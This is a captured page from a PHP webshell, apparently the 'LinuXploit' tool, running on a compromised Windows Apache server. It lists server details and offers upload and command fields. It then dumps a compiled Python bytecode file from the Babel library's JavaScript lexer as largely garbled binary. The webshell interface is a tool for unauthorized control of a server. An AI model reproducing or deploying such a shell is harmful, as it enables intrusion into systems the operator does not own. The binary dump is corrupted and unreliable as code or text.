403Webshell
Server IP : 127.0.0.1  /  Your IP : 216.73.216.109
Web Server : Apache/2.4.54 (Win64) OpenSSL/1.1.1q PHP/8.1.10
System : Windows NT DESKTOP-E5T4RUN 10.0 build 19045 (Windows 10) AMD64
User : SERVERWEB ( 0)
PHP Version : 8.1.10
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : OFF |  Perl : OFF |  Python : OFF |  Sudo : OFF |  Pkexec : OFF
Directory :  C:/cygwin64/lib/python3.9/site-packages/babel/messages/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : C:/cygwin64/lib/python3.9/site-packages/babel/messages/__pycache__/jslexer.cpython-39.opt-1.pyc
a

�4d��@s�UdZddlmZddlZddlmZddlmZegd�e	dd�Z
d	ed
<ddd
ddd�Zded<e�
dej�Ze�
dej�Ze�
d�Ze�
dej�Ze�
d�Ze�
dej�Ze�
d�Ze�
d�ZGdd�de�Zde�
dej�fde�
d�fde�
d �fd!e�
d"ejejB�fd#efd$efd%e�
d&ej�fd'e�
d(ej�fd)e�
d*d+�eeje
���fd,e�
d-ej�fd.e�
d/ejejB�fgZd0ed1<d2d2d2d0d3�d4d5�Z dd2d6�d7d8�Z!d9d9d:�d;d<�Z"dCd9d2d2d2d>d?d@�dAdB�Z#dS)Dz�
    babel.messages.jslexer
    ~~~~~~~~~~~~~~~~~~~~~~

    A simple JavaScript 1.5 lexer which is used for the JavaScript
    extractor.

    :copyright: (c) 2013-2023 by the Babel Team.
    :license: BSD, see LICENSE for more details.
�)�annotationsN)�	Generator)�
NamedTuple)+�+�-�*�%z!=z==�<�>z<=z>=�=z+=z-=z*=z%=z<<z>>z>>>z<<=z>>=z>>>=�&z&=�|z|=z&&z||�^z^=�(�)�[�]�{�}�!�--�++�~�,�;�.�:T)�key�reversez	list[str]�	operators���
�
�	)�b�f�n�r�tzdict[str, str]�escapesz[\w$_][\w\d$_]*z[\w$_][\w\d$_.]*[\w\d$_.]z/=?z%/(?:[^/\\]*(?:\\.[^/\\]*)*)/[a-zA-Z]*z(\r\n|\n|\r)z\\z[a-fA-F0-9]{1,4}z[a-fA-F0-9]{1,2}c@s&eZdZUded<ded<ded<dS)�Token�str�type�value�int�linenoN)�__name__�
__module__�__qualname__�__annotations__�r5r5�:/usr/lib/python3.9/site-packages/babel/messages/jslexer.pyr+$s
r+z\s+z<!--.*Zlinecommentz//.*Zmultilinecommentz	/\*.*?\*/�dotted_name�name�numberzb(
        (?:0|[1-9]\d*)
        (\.\d+)?
        ([eE][-+]?\d+)? |
        (0x[a-fA-F0-9]+)
    )Zjsx_tagz(?:</?[^>\s]+|/>)�operatorz(%s)r
�template_stringz`(?:[^`\\]*(?:\\.[^`\\]*)*)`�stringzT(
        '(?:[^'\\]*(?:\\.[^'\\]*)*)'  |
        "(?:[^"\\]*(?:\\.[^"\\]*)*)"
    )z(list[tuple[str | None, re.Pattern[str]]]�_rules�bool)�jsx�dottedr;�returncCsVg}tD]H\}}|s"|r"d|vr"q|s0|dkr0q|dkrB|s>qd}|�||f�q|S)ze
    Get a tokenization rule list given the passed syntax options.

    Internal to this module.
    r?r;r7r8)r=�append)r?r@r;�rules�
token_type�ruler5r5r6�	get_rulesAsrF)�tokenrAcCs|jdkr|jdvS|jdvS)zzA helper function that helps the tokenizer to decide if the current
    token may be followed by a division operator.
    r:)rrrrr)r8r9r<�regexp)r-r.)rGr5r5r6�indicates_divisionUs

rIr,)r<rAcCs�t�d|dd��}g}|j}d}|�d|�}|dkr:�qd||||��||d}|tvrl|t|�n�|dvr�t�||d�}|dur�|��}t|�d	kr�z|t	t
|d
���Wnty�Yn0|d}q"|||�|��}q"n||�nd|dv�rRt
�||d�}|du�rH|��}|t	t
|d
���|dt|�}q"n||�n||�|d}q"|t|�k�r�|||d��d
�|�S)z�Unquote a string with JavaScript rules.  The string has to start with
    string delimiters (``'``, ``"`` or the back-tick/grave accent (for template strings).)
    z\1����r�\ZuU�N���ZxX�)�line_join_re�subrB�findr*�
uni_escape_re�match�group�len�chrr/�
ValueError�end�
hex_escape_re�join)r<�result�add�posZ
escape_posZ	next_charZescapedZ
escaped_valuer5r5r6�unquote_string^sN




rarJr/zGenerator[Token, None, None])�sourcer?r@r;r0rAccs�d}d}t|�}t|||d�}||kr�|D] \}	}
|
�||�}|dur*q�q*|rbt�||�}d}	nt�||�}d}	|dur�|d7}q|��}|	dur�t|	||�}
t|
�}|
V|tt�	|��7}|�
�}qdS)a
    Tokenize JavaScript/JSX source.  Returns a generator of tokens.

    :param jsx: Enable (limited) JSX parsing.
    :param dotted: Read dotted names as single name token.
    :param template_string: Support ES6 template strings
    :param lineno: starting line number (optional)
    Fr)r?r@r;Nr:rHrJ)rXrFrV�division_re�regex_rerWr+rI�line_re�findallr[)rbr?r@r;r0Z
may_divider`r[rCrDrErVZtoken_valuerGr5r5r6�tokenize�s0	rg)TTTrJ)$�__doc__Z
__future__r�re�collections.abcr�typingr�sortedrXrr4r*�compile�UNICODEZname_reZdotted_name_rerc�DOTALLrdre�patternrRrUr\r+�VERBOSE�Ir]�map�escaper=rFrIrargr5r5r5r6�<module>sJ
�



�
��	C

Youez - 2016 - github.com/yon3zu
LinuXploit